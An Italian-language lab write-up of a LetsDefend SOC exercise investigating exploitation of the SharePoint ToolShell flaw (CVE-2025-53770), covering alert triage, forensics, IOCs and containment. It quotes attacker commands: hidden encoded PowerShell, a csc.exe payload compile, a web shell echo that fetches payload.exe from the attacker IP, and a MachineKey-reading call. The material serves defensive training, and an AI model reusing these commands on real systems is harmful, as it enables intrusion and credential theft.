Procedura dettagliata passo passo di un lab LetsDefend SOC342 che analizza CVE-2025-53770 SharePoint ToolShell auth bypass e RCE, inclusa la catena di attacco, l'analisi forense e le azioni di contenimento.
Ho analizzato una zero-day di SharePoint chiamata ToolShell (CVE-2025-53770) nel cyber lab LetsDefend.
L'esercizio simulava un attacco RCE zero-day reale in cui una richiesta POST dannosa ha bypassato l'autenticazione, eseguito PowerShell per rubare le chiavi MachineKeySection, compilato payload.exe e rilasciato una web shell dannosa (spinstall0.aspx).
Questo README documenta il processo di attacco, i passaggi forensi, le azioni di contenimento e le lezioni apprese.
| Campo | Dettagli |
|---|
| Piattaforma | LetsDefend Cyber Range |
| Target | SharePoint Server (SharePoint01) |
| CVE | CVE-2025-53770 |
| Obiettivo | Analizzare la RCE, esercitarsi su rilevamento e contenimento |
| Strumenti utilizzati | Windows PowerShell, VirusTotal, AbuseIPDB, Talosintelligence, LetsDefend Log Management, LetsDefend Endpoint Security, Base64 Decoder, LetsDefend Threat Intel |
Un alert critico ha segnalato attività sospetta rivolta a ToolPane.aspx in SharePoint con un payload di grandi dimensioni e Referer spoofato.
Ciò è correlato a CVE-2025-53770, una vulnerabilità zero-day che consente RCE non autenticata tramite richieste POST appositamente create.

Cos'è: Il livello di gravità assegnato a questo alert — il più alto e urgente.
Perché è importante: Indica che questo evento potrebbe portare a compromissione totale del sistema (RCE). Trattalo come priorità assoluta: isola e indaga immediatamente.
Cos'è: Il timestamp in cui è stato attivato l'alert.
Perché è importante: Usalo per localizzare i log, correlare eventi correlati e costruire una timeline (cerca ± pochi minuti o ore).
Cos'è: La regola di rilevamento o firma che si è attivata, descrivendo la condizione corrispondente (tentativo di exploit ToolShell).
Perché è importante: Identifica quale pattern di attacco è stato rilevato — utile per cercare casi simili (es. POST non autenticate a pagine admin o potenziali upload di webshell).
Cos'è: Identificatore numerico per questa specifica istanza di alert o regola (definito dal vendor).
Perché è importante: Aiuta con tracciamento, filtraggio e riferimento a questo alert nei ticket o nei report.
Cos'è: Classificazione di alto livello — questo alert ha come target l'infrastruttura web.
Perché è importante: Instrada l'incidente al team web/SharePoint/infra e applica playbook specifici per il web.
Cos'è: Ruolo dell'analista o livello di escalation previsto per gestire l'alert.
Perché è importante: Indica che questo non è un alert di Tier-1 — richiede un Security Analyst (responder esperto) per un'azione immediata.
Cos'è: Nome dell'host interessato (target o origine dell'attività).
Perché è importante: Questo è il target primario di contenimento — isola, raccogli evidenze e monitora questo sistema per primo.
Cos'è: L'IP che invia la richiesta sospetta (attaccante o proxy).
Perché è importante: Bloccalo a livello di firewall/WAF, cerca altri hit provenienti da esso e verifica informazioni su proprietario/geo. Nota: gli IP possono essere spoofati o far parte di botnet.
Cos'è: L'IP interno di destinazione (SharePoint01).
Perché è importante: Conferma quale sistema interno è stato preso di mira — mappalo sull'hostname e rivedi i percorsi di accesso interni e le regole firewall.
Cos'è: Il verbo HTTP utilizzato — il client ha inviato dati al server.
Perché è importante: I POST verso endpoint admin sono sospetti quando non autenticati o di grandi dimensioni — possono trasportare payload di exploit o webshell.
/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
Cos'è: Il percorso web esatto e i parametri presi di mira.
Perché è importante: Questo è un endpoint admin/layout di SharePoint — spesso abusato dagli attaccanti per auth bypass o upload di codice. Cerca altre richieste allo stesso percorso.
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Cos'è: La stringa del browser dichiarata dal client.
Perché è importante: Spesso spoofata dagli attaccanti per sembrare legittima — può aiutare a filtrare i log, ma non fare affidamento su di essa per l'attribuzione.
/_layouts/SignOut.aspx
Cos'è: Header HTTP che dichiara che la richiesta proviene dalla pagina di sign-out di SharePoint.
Perché è importante: I referer spoofati sono sospetti — possono essere usati per bypassare i controlli o imitare il traffico normale. Confrontali con i flussi di navigazione legittimi.
7699Cos'è: Dimensione del corpo della richiesta HTTP (in byte).
Perché è importante: Un corpo POST di grandi dimensioni verso un endpoint admin suggerisce un exploit serializzato o upload di file. Cerca altri POST di dimensioni simili verso lo stesso URL.
Testo: Richiesta POST non autenticata e sospetta rivolta a ToolPane.aspx con payload di grandi dimensioni e referer spoofato — indicativa dello sfruttamento di CVE-2025-53770.
Cos'è: Spiegazione della regola che riassume il comportamento rilevato.
Perché è importante: Descrive esattamente perché l'alert si è attivato — verifica se la richiesta era non autenticata, quale payload è stato inviato e se corrisponde a pattern di exploit noti.
Cos'è: Indica la risposta del dispositivo di protezione (es. WAF/firewall).
Perché è importante: Poiché è stata consentita, l'attacco ha raggiunto l'host — trattalo come potenziale compromissione.
Azioni immediate:
107.191.58.76)SharePoint01)🔎 Riepilogo:
Questo alert riflette un tentativo di exploit non autenticato che sfrutta ToolPane.aspx (SharePoint RCE CVE-2025-53770). La richiesta POST conteneva un payload di grandi dimensioni e un referer spoofato, coerenti con il comportamento di sfruttamento della zero-day ToolShell. Poiché il dispositivo ha consentito la richiesta, presupponi una possibile compromissione finché non viene dimostrato il contrario. 🟥 Gravità: Critica
Cerca nei log IIS/WAF i POST verso ToolPane.aspx (intorno alle 2025-07-22 13:07):
Select-String -Path "C:\inetpub\logs\LogFiles\**\*.log" -Pattern "/_layouts/15/ToolPane.aspx" | Out-File .\IIS_ToolPane_hits.txt
Recupera il corpo completo del POST da WAF/proxy o packet capture e salvalo nella condivisione forense.
Cerca ASPX nuovi/modificati nella webroot (webshell):
Get-ChildItem "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\**\*.aspx" -Recurse | Sort LastWriteTime -Desc | Select FullName,LastWriteTime
Blocca l'attaccante e isola l'host: blocca 107.191.58.76 al perimetro/WAF e sposta SharePoint01 in quarantena (o limita il traffico in uscita).
Non eliminare i file sospetti — fai prima delle copie forensi.
Microsoft SharePoint è una piattaforma di collaborazione e gestione documentale.
Fornisce archiviazione file sicura, controllo delle versioni e portali intranet, integrata con Active Directory, Teams, Outlook e Power BI.
Una vulnerabilità RCE non autenticata critica in Microsoft SharePoint Server che sfrutta una deserializzazione non sicura.
Gli attaccanti la usano per:
🧮 Punteggio CVSS: 9.8 (Critico)
📡 Sfruttamento: Attivamente sfruttata nel mondo reale
IP di origine: 107.191.58.76
🧩 Risultato: 15/95 vendor di sicurezza lo hanno segnalato come dannoso.

Verificato tramite AbuseIPDB — IP associato a:

Verificato tramite Talos Intelligence — caratteristiche IP/subnet:
*.vultrusercontent.com
Individuato l'host SharePoint01 in Endpoint Security.
Esaminata la Cronologia del Terminale alla ricerca di comandi sospetti.

Questo log mostra che alle 13:07:11, un processo PowerShell è stato eseguito sotto il pool di applicazioni di SharePoint, eseguendo un comando codificato in Base64. Il processo padre era services.exe e l'attacco aveva come target le directory di SharePoint. Questo è un chiaro indicatore dello sfruttamento di ToolShell e dell'esecuzione remota di codice all'interno del server SharePoint.
-nop = -NoProfile: avvia PowerShell senza caricare il profilo utente (evita il rilevamento basato sul profilo, è più veloce).-w hidden = -WindowStyle Hidden: esegui senza mostrare una finestra (stealth).-e = -EncodedCommand: la stringa seguente è contenuto PowerShell codificato in Base64 (di solito UTF-16LE o talvolta UTF-8) — utilizzato per nascondere il codice dall'ispezione occasionale e dai log semplici.<BASE64>: payload Base64 lungo — una volta decodificato contiene uno script server ASPX (che sembra una webshell) che legge i valori MachineKey.

⚙️ Riepilogo del comportamento
Ciò indica il furto di MachineKey per forgiare token ViewState/auth — classico sfruttamento di ToolShell.

🧩 Riscontro: L'attaccante ha compilato payload.cs in payload.exe usando il compilatore .NET integrato → probabile malware.
Cosa fa letteralmente (passo dopo passo):
csc.exe → il compilatore C# incluso nel .NET Framework./out:C:\Windows\Temp\payload.exe → dice al compilatore dove salvare il programma compilato e come chiamarlo (payload.exe).C:\Windows\Temp\payload.cs → il file sorgente C# (codice leggibile dall'uomo) che il compilatore trasforma in un programma eseguibile.Perché è pericoloso (spiegazione per principianti):
.cs) in un eseguibile (.exe) sulla macchina vittima.payload.exe) può eseguire qualsiasi azione programmata dall'attaccante: aprire connessioni di rete, generare shell, installare persistenza o rubare dati.Come probabilmente l'attaccante lo ha usato nella catena di attacco:
payload.cs.payload.exe affinché potesse essere eseguito come programma nativo sul server.Evidenze da cercare (cosa cercare nei log / file):
csc.exe con argomenti che puntano a payload.cs o /out:C:\Windows\Temp\payload.exe.C:\Windows\Temp\payload.cs e C:\Windows\Temp\payload.exe (raccogli copie forensi e calcola gli hash).w3wp.exe / powershell.exe / cmd.exe che generano csc.exe.payload.exe se è stato eseguito.Riepilogo in una riga (per README / ticket):
L'attaccante ha usato il compilatore C# .NET (csc.exe) per compilare payload.cs in payload.exe sull'host — creando un eseguibile nativo per attività dannose successive.

🧩 Riscontro: Creato spinstall0.aspx all'interno della directory LAYOUTS di SharePoint → backdoor accessibile via web.
Cosa fa letteralmente (passo dopo passo, in parole semplici):
cmd.exe /c → avvia la shell dei comandi di Windows per eseguire un singolo comando e poi uscire.echo <...> > "...\spinstall0.aspx" → stampa il testo HTML/ASPX fornito e lo scrive nel file spinstall0.aspx (l'operatore > crea o sovrascrive il file).runat="server" → rende il file ASPX lato server, quindi IIS/SharePoint lo esegue all'interno del processo dell'applicazione web invece di servirlo come testo statico.<object> contiene Url="http://107.191.58.76/payload.exe" → istruisce la pagina (o il server quando viene eseguita) a recuperare payload.exe dell'attaccante dall'host remoto.Perché è pericoloso (spiegazione per principianti):
Come probabilmente l'attaccante lo ha usato nella catena di attacco:
spinstall0.aspx nella cartella LAYOUTS di SharePoint.payload.exe dall'host dell'attaccante.Evidenze da cercare (cosa cercare nei log / file):
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx — raccogli una copia forense e calcola lo SHA256.cmd.exe scrivere in quel percorso.spinstall0.aspx o richieste in uscita verso http://107.191.58.76/payload.exe.spinstall0.aspx (che indicano download/esecuzione del payload).Riepilogo in una riga (per README / ticket):
L'attaccante ha creato una web shell ASPX lato server (spinstall0.aspx) nella cartella LAYOUTS di SharePoint che istruisce il server a recuperare/eseguire payload.exe dall'infrastruttura dell'attaccante — backdoor remota persistente.

🧩 Riscontro: Eseguito PowerShell per leggere ed esfiltrare la configurazione MachineKey — prerequisito diretto per la RCE.
Cosa fa letteralmente (passo dopo passo):
powershell.exe → la shell di scripting di Windows.-Command dice a PowerShell di eseguire l'espressione seguente.[System.Web.Configuration.MachineKeySection]::GetApplicationConfig() chiama .NET per recuperare l'oggetto di configurazione machineKey di ASP.NET (include ValidationKey, DecryptionKey e impostazioni correlate).Perché è pericoloso (spiegazione per principianti):
machineKey contiene i segreti che ASP.NET usa per:
ViewState e i cookie di autenticazione dei moduli.ValidationKey/DecryptionKey, può:
ViewState firmati o cookie di autenticazione, o decrittografare i token.Come probabilmente l'attaccante lo ha usato nella catena di attacco:
ToolPane.aspx per eseguire codice all'interno del processo dell'app SharePoint.ValidationKey / DecryptionKey.ViewState dannosi) o cookie di autenticazione validi per aumentare i privilegi di accesso.Evidenze da cercare (cosa cercare nei log / file):
powershell.exe con GetApplicationConfig o MachineKeySection nella riga di comando.ValidationKey / DecryptionKey).MachineKeySection / GetApplicationConfig.IIS APPPOOL\SharePoint) negli stessi timestamp.Riepilogo in una riga (per README / ticket):
L'attaccante ha eseguito PowerShell per chiamare System.Web.Configuration.MachineKeySection::GetApplicationConfig() — tentando di esfiltrare la machineKey ASP.NET (ValidationKey/DecryptionKey), abilitando la forgiatura di token e il bypass dell'autenticazione.
Fonte: LetsDefend Threat Intel (interrogata tramite IP 107.191.58.76)
Referer: /_layouts/SignOut.aspx.
| Tipo | Indicatore | Descrizione |
|---|---|---|
| IP | 107.191.58.76 | IP sorgente dell'attaccante che invia exploit POST |
| URL | /_layouts/15/ToolPane.aspx?DisplayMode=Edit | Endpoint di exploit |
| File | spinstall0.aspx | Web shell ASPX dannosa distribuita |
| String | MachineKeySection | Prova di tentativo di esfiltrazione di machineKey |
VictorRilevato sfruttamento zero-day di ToolShell (CVE‑2025‑53770) ai danni di SharePoint on-premises (SharePoint01). L'attaccante (IP 107.191.58.76) ha aggirato l'autenticazione ed eseguito diverse azioni post-exploit:
spinstall0.aspx (web shell) nella directory LAYOUTS di SharePoint.payload.exe localmente utilizzando il compilatore C# di .NET.

Conclusione: compromissione confermata: distribuzione di web shell, esfiltrazione di chiavi e compilazione di payload sull'host.
SharePoint01 (VLAN di quarantena) o bloccare gli IP dell'attaccante su perimetro/WAF/firewall.spinstall*.aspx, payload.exe (per nome file/hash) e l'uso di GetApplicationConfig/MachineKeySection.spinstall0.aspx, attività pianificate/servizi non autorizzati ed eventuale malware rilevato (dopo aver raccolto copie forensi).machineKey ASP.NET (in coordinamento con i proprietari delle applicazioni) e applicare le patch di emergenza di Microsoft di luglio 2025 a tutte le istanze SharePoint on-premises.-EncodedCommand / -e) sui server web.csc.exe per compilare codice in C:\Windows\Temp sugli host web.POST non autenticate verso ToolPane.aspx.csc.exe, cmd.exe, powershell.exe) sono spesso abusati in fase post-exploit; monitorare gli usi inattesi sui server web.SharePoint01 e bloccare 107.191.58.76.spinstall0.aspx, payload.cs, payload.exe (preservando i timestamp).w3wp.exe / payload.exe per l'analisi.machineKey e le credenziali compromesse dopo la raccolta delle evidenze.